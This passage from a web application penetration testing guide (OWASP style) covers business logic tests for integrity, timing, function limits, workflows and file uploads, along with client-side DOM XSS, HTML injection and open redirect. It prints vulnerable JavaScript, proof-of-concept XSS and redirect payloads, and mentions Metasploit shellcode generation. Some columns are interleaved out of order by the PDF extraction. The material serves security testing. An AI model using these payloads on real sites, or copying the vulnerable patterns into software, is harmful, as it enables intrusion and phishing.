password field through a proxy they may be able to “trick” the server into believing that the request has come from an admin user and change password of other users. Example 2 Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check. Example 3 Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver’s license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse’s name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed. Example 4 Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed? How to Test Generic Testing Method • Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information. • For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component. • Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that .should not be allowed per the busines logic workflow. Specific Testing Method 1 • Using a proxy capture and HTTP traffic looking for hidden fields. • If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to. Specific Testing Method 2 • Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable. • If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to. Specific Testing Method 3 • List components of the application or system that could be edited, for example logs or databases. • For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected. Related Test Cases All Input Validation test cases Tools • Various system/application tools such as editors and file manipulation tools. • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.orgindex php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. References • Implementing Referential Integrity and Shared Business Logic in a RDB - http://www.agiledata.org/essayreferentialIntegrity. html • On Rules and Integrity Constraints in Database Systems http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf • Use referential integrity to enforce basic business rules in Oracle - http://www.techrepublic.com/article/use-referentialintegrity-to-enforce-basic-business-rules-in-oracle/ • Maximizing Business Logic Reuse with Reactive Logic - http:/ architects.dzone.com/articles/maximizing-business-logic 183 Web Application Penetration Testing • Tamper Evidence Logging - http://tamperevident.cs.rice.edu Logging.html Remediation The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating. Test for Process Timing (OTG-BUSLOGIC-004) Summary It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the “expected” time frame. Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific. Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and “game the system”. Example Example 1 Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum. Example 2 Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message. Example 3 Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated. Example 4 Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price? How to Test • Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time. • Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing. Related Test Cases • Testing for Cookies attributes (OTG-SESS-002) • Test Session Timeout (OTG-SESS-007) References None Remediation Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame. Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an “acceptable” amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using. Test number of times a function can be used limits (OTG-BUSLOGIC-005) Summary Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly. Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times. Attackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain. Example 184 Web Application Penetration Testing Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times? How to Test • Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow. • For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts. Related Test Cases • Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) • Testing for Weak lock out mechanism (OTG-AUTHN-003) References InfoPath Forms Services business logic exceeded the maximum limit of operations Rule - http://mpwiki.viacode.com/default.aspx?g=posts&t=115678 Gold Trading Was Temporarily Halted On The CME This Morning - http://www.businessinsider.com/gold-halted-on-cme-forstop-logic-event-2013-10 Remediation The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times. Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006) Summary Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow. “A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organi- zation of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.” (https:// en.wikipedia.org/wiki/Workflow) The application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases. The applications business process must have checks to ensure that the user’s transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed. Examples Example 1 Many of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/ credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything. Example 2 An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a “black” the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update. How to Test Generic Testing Method • Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow. • For each method develop a misuse case and try to circumvent or perform an action that is “not acceptable” per the the business logic workflow. Testing Method 1 • Start a transaction going through the application past the points that triggers credits/points to the users account. • Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ 185 Web Application Penetration Testing credit system to ensure that the proper points/credits were recorded. Testing Method 2 • On a content management or bulletin board system enter and save valid initial text or values. • Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some “invalid” data or information may be specific words (profanity) or specific topics (such as political issues). Related Test Cases • Testing Directory traversal/file include (OTG-AUTHZ-001) • Testing for bypassing authorization schema (OTG-AUTHZ-002) • Testing for Bypassing Session Management Schema (OTGSESS-001) • Test Business Logic Data Validation (OTG-BUSLOGIC-001) • Test Ability to Forge Requests (OTG-BUSLOGIC-002) • Test Integrity Checks (OTG-BUSLOGIC-003) • Test for Process Timing (OTG-BUSLOGIC-004) • Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005) • Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007) • Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) • Test Upload of Malicious Files (OTG-BUSLOGIC-009) References • OWASP Detail Misuse Cases - https://www.owasp.org/index php/Detail_misuse_cases • Real-Life Example of a ‘Business Logic Defect - http://h30501 www3.hp.com/t5/Following-the-White-Rabbit-A/Real-LifeExample-of-a-Business-Logic-Defect-Screen-Shots/bap/22581 • Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logicattack-vectors-white-paper/ and http://www.ntobjectives. com/files/Business_Logic_White_Paper.pdf • CWE-840: Business Logic Errors - http://cwe.mitre.org/data definitions/840.html Remediation The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow pro- cess in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order. Test defenses against application mis-use (OTG-BUSLOGIC-007) Summary The misuse and invalid use of of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application. The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The application’s owner will thus not know their application is under attack. Example An authenticated user undertakes the following (unlikely) sequence of actions: [1] Attempt to access a file ID their roles is not permitted to download [2] Substitutes a single tick (‘) instead of the file ID number [3] Alters a GET request to a POST [4] Adds an extra parameter [5] Duplicates a parameter name/value pair The application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application: • Disables critical functionality • Enables additional authentication steps to the remaining functionality • Adds time-delays into every request-response cycle • Begins to record additional data about the user’s interactions (e.g. sanitized HTTP request headers, bodies and response bodies) If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this test case. In practice the discrete example actions in the example above are unlikely to occur like that. It is much more probable that a fuzzing tool is used to identify weaknesses in each parameter in turn. This is what a security tester will have undertaken too. How to Test This test is unusual in that the result can be drawn from all the other tests performed against the web application. While performing all the other tests, take note of measures that might indicate the application has in-built self-defense: • Changed responses • Blocked requests • Actions that log a user out or lock their account 186 Web Application Penetration Testing These may only be localised. Common localized (per function) defenses are: • Rejecting input containing certain characters • Locking out an account temporarily after a number of authentication failures Localized security controls are not sufficient. There are often no defenses against general mis-use such as: • Forced browsing • Bypassing presentation layer input validation • Multiple access control errors • Additional, duplicated or missing parameter names • Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos • Structured data (e.g. JSPN, XML) of an invalid format is received • Blatant cross-site scripting or SQL injection payloads are received • Utilising the application faster than would be possible without automation tools • Change in continental geo-location of a user • Change of user agent • Accessing a multi-stage business process in the wrong order • Large number of, or high rate of use of, application-specific functionality (e.g. voucher code submission, failed credit card payments, file uploads, file downloads, log outs, etc). These defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing content (e.g. to scrape information) can be of use in public areas. Not all the above need to be monitored by the application, but there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the application appears to have no application-wide active defenses against misuse. Note it is sometimes possible that all responses to attack detection are silent to the user (e.g. logging changes, increased monitoring, alerts to administrators and and request proxying), so confidence in this finding cannot be guaranteed. In practice, very few applications (or related infrastructure such as a web application firewall) are detecting these types of misuse. Related Test Cases All other test cases are relevant. Tools The tester can use many of the tools used for the other test cases. References • Resilient Software, Software Assurance, US Department Homeland Security • IR 7684 Common Misuse Scoring System (CMSS), NIST • Common Attack Pattern Enumeration and Classification (CAPEC), The Mitre Corporation • OWASP_AppSensor_Project • AppSensor Guide v2, OWASP • Watson C, Coates M, Melton J and Groves G, Creating Attack Aware Software Applications with Real-Time Defenses, CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) Summary Many application’s business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain “approved” file types. Deciding what files are “approved” is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few. Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations. The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system. Example Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system. How to Test Generic Testing Method • Review the project documentation and perform some exploratory testing looking for file types that should be “unsupported” by the application/system. • Try to upload these “unsupported” files an verify that it are properly rejected. • If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. Specific Testing Method • Study the applications logical requirements. • Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or html files containing script. 187 Web Application Penetration Testing • In the application navigate to the file submission or upload mechanism. • Submit the “not approved” file for upload and verify that they are properly prevented from uploading Related Test Cases • Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) • Test Upload of Malicious Files (OTG-BUSLOGIC-009) References • OWASP - Unrestricted File Upload - https://www.owasp.org index.php/Unrestricted_File_Upload • File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/Fileupload-security-best-practices-Block-a-malicious-file-upload • Stop people uploading malicious PHP files via forms - http:/ stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms • CWE-434: Unrestricted Upload of File with Dangerous Type http://cwe.mitre.org/data/definitions/434.html • Secure Programming Tips - Handling File Uploads - https:/ www.datasprings.com/resources/dnn-tutorials/artmid/535/ articleid/65/secure-programming-tips-handling-file-uploads? AspxAutoDetectCookieSupport=1 Remediation Applications should be developed with mechanisms to only accept and manipulate “acceptable“ files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions, using “Content-Type” from the header, or using a file type recognizer, all to only allow specified file types into the system. Test Upload of Malicious Files (OTG-BUSLOGIC-009) Summary Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files. Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system. Finally, “malicious” means different things to different systems, for example Malicious files that may exploit SQL server vulnera- bilities may not be considered a “malicious” to a main frame flat file environment. The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP). Example Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed. How to Test Generic Testing Method • Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and “malicious” file in your environment. • Develop or acquire a known “malicious” file. • Try to upload the malicious file to the application/system and verify that it is correctly rejected. • If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. Specific Testing Method 1 • Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit “msfpayload” command. • Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected. Specific Testing Method 2 • Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm. • Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected. Specific Testing Method 3 • Set up the intercepting proxy to capture the “valid” request for an accepted file. • Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected. Related Test Cases • Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) 188 Web Application Penetration Testing • Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) Tools Client-Side testing is concerned with the execution of code on the client, typically natively within a web browser or browser plugin. The execution of code on the client-side is distinct from executing on the server and returning the subsequent content. • Intercepting proxy Testing for DOM-based Cross site scripting (OTG-CLIENT-001) • Metasploit’s payload generation functionality References • OWASP - Unrestricted File Upload - https://www.owasp.org index.php/Unrestricted_File_Upload • Why File Upload Forms are a Major Security Threat - http:/ www.acunetix.com/websitesecurity/upload-forms-threat/ • File upload security best practices: Block a malicious file upload http://www.computerweekly.com/answer/File-uploadsecurity-best-practices-Block-a-malicious-file-upload Summary DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS. • Stop people uploading malicious PHP files via forms http://stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker. • How to Tell if a File is Malicious http://www.techsupportalert.com/content/how-tell-if-filemalicious.htm There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists. • CWE-434: Unrestricted Upload of File with Dangerous Type http://cwe.mitre.org/data/definitions/434.html How to Test Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different. • Overview of Malicious File Upload Attacks http:/securitymecca.com/article/overview-of-malicious-fileupload-attacks/ • Implementing Secure File Upload http://infosecauditor.wordpress.com/tag/malicious-fileupload/ • Watchful File Upload http://palizine.plynt.com/issues/2011Apr/file-upload/ • Matasploit Generating Payloads http://www.offensive-security.com/metasploit-unleashed/ Generating_Payloads • Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit http://www.projectshellcode. com/?q=node/29 • Anti-Malware Test file - http://www.eicar.org/86-0-Intended use.html Remediation While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them. Client-Side Testing In comparison to other cross site scripting vulnerabilities (reflected and stored XSS), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user’s browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow. Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks. The first hypothetical example uses the following client side code: An attacker may append #<script>alert(‘xss’) to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of “xss” is displayed by the page. Unlike the more common types of cross 189 Web Application Penetration Testing site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user’s browser without server contact. The consequences of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity. Black Box testing Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Testing for DOM-Based XSS vulnerabilities: JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with. User input comes in two main forms: • Input written to the page by the server in a way that does not allow direct XSS • Input obtained from client-side JavaScript objects Here are two examples of how the server may insert data into JavaScript: And here are two examples of input from client-side JavaScript objects: While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a URL using the document. and location. attributes. Additionally, JavaScript is often executed outside of blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed. Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user: but may not be detected in the following contrived case: For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform addition analysis of the client side code. Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section. References OWASP Resources • DOM based XSS Prevention Cheat Sheet Whitepapers • Document Object Model (DOM) - http://en.wikipedia.org/wiki Document_Object_Model • DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein: http://www.webappsec.org/projects/articles/071105. shtml • Browser location/document URI/URL Sources - https://code google.com/p/domxsswiki/wiki/LocationSources • i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc. Testing for JavaScript Execution (OTG-CLIENT-002) Summary A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim’s browser. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior. How to Test Such vulnerability occurs when the application lacks of a proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim. When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki. The following script does not perform any validation of the vari- 190 Web Application Penetration Testing able rr that contains the user supplied input via the query string and additionally does not apply any form of encoding: var rr = location.search.substring(1); if(rr) window.location=decodeURIComponent(rr); This implies that an attacker could inject JavaScript code simply by submitting the following query string: www.victim. com/?javascript:alert(1) Black Box testing Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Testing for JavaScript Execution vulnerabilities: For example, looking at the following URL: http://www.domxss. com/domxss/01_Basics/04_eval.html The page contains the following scripts: <script> function loadObj(){ var cc=eval(‘(‘+aMess+’)’); document.getElementById(‘mess’).textContent=cc.message; } if(window.location.hash.indexOf(‘message’)==-1) var aMess=”({\”message\”:\”Hello User!\”})”; else var aMess=location.hash.substr(window.location.hash. indexOf(‘message=’)+8); The above code contains a source ‘location.hash’ that is controlled by the attacker that can inject directly in the ‘message’ value a JavaScript Code to take the control of the user browser. References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS.com - http://www.domxss.com Whitepapers • Browser location/document URI/URL Sources - https://code google.com/p/domxsswiki/wiki/LocationSources • i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc. Testing for HTML Injection (OTG-CLIENT-003) Summary HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims. How to Test This vulnerability occurs when the user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) the legit from the malicious parts and consequently will parse and execute all as legit in the victim context. There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of XSS, specifically an HTML injection one. Malicious HTML code could be injected for example via innerHTML, that is used to render user inserted HTML code. If strings are not correctly sanitized the problem could lead to XSS based HTML injection. Another method could be document.write() When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki. The innerHTML property sets or returns the inner HTML of an element. An improper usage of this property, that means lack of sanitization from untrusted input and missing output encoding, could allow an attacker to inject malicious HTML code. Example of Vulnerable Code: The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic html in the page context: var userposition=location.href.indexOf(“user=”); var user=location.href.substring(userposition+5); document.getElementById(“Welcome”).innerHTML=” Hello, “+user; In the same way, the following example shows a vulnerable code using the document.write() function: var userposition=location.href.indexOf(“user=”); var user=location.href.substring(userposition+5); document.write(“Hello, “ + user +””); In both examples, an input like the following: http://vulnerable.site/page.html?user= will add to the page the image tag that will execute an arbitrary JavaScript code inserted by the malicious user in the HTML context. Black Box testing 191 Web Application Penetration Testing Black box testing for HTML Injection is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Testing for HTML Injection vulnerabilities: For example, looking at the following URL: http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html The HTML code will contains the following script: function setMessage(){ var t=location.hash.slice(1);$(“div[id=”+t+”]”).text(“The DOM is now loaded and can be
manipulated.”);
}
$(document).ready(setMessage );$(window).bind(“hashchange”,setMessage)

Show HereShowing Message1
Show HereShowing Message2
Show HereShowing Message3

It is possible to inject HTML code.
References
OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS.com - http://www.domxss.com
Whitepapers
• Browser location/document URI/URL Sources - https://code.
• i.e., what is returned when the user asks the browser for things
like document.URL, document.baseURI, location, location.href,
etc.

Testing for Client Side URL Redirect
(OTG-CLIENT-004)

Summary
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw
that exists when an application accepts an user controlled input
which specifies a link that leads to an external URL that could be
malicious. This kind of vulnerability could be used to accomplish a
phishing attack or redirect a victim to an infection page.
How to Test
This vulnerability occurs when an application accepts untrusted

input that contains an URL value without sanitizing it. This URL
value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the
attacker.
By modifying untrusted URL input to a malicious site, an attacker
may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application,
the phishing attempts may have a more trustworthy appearance.
A phishing attack example could be the following:
http://www.target.site?#redirect=www.fake-target.site
The victim that visits target.site will be automatically redirected
to fake-target.site where an attacker could place a fake page to
steal victim’s credentials.
Moreover open redirections could also be used to maliciously
craft an URL that would bypass the application’s access control
checks and then forward the attacker to privileged functions
that they would normally not be able to access.
Black Box testing
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Testing for Client Side URL Redirect vulnerabilities:
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript
code).
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take
the browser to another page by simply assigning a string to it. (as
you can see in the following snippet of code).
var redir = location.hash.substring(1);
if (redir)
window.location=’http://’+decodeURIComponent(redir);
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input
via the query string, and in the same time does not apply any
form of encoding, then this unvalidated input is passed to the
windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
http://www.victim.site/?#www.malicious.site

192

Web Application Penetration Testing

Note how, if the vulnerable code is the following
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
It also could be possible to inject JavaScript code, for example by
submitting the following query string:
When trying to check for this kind of issues, consider that some
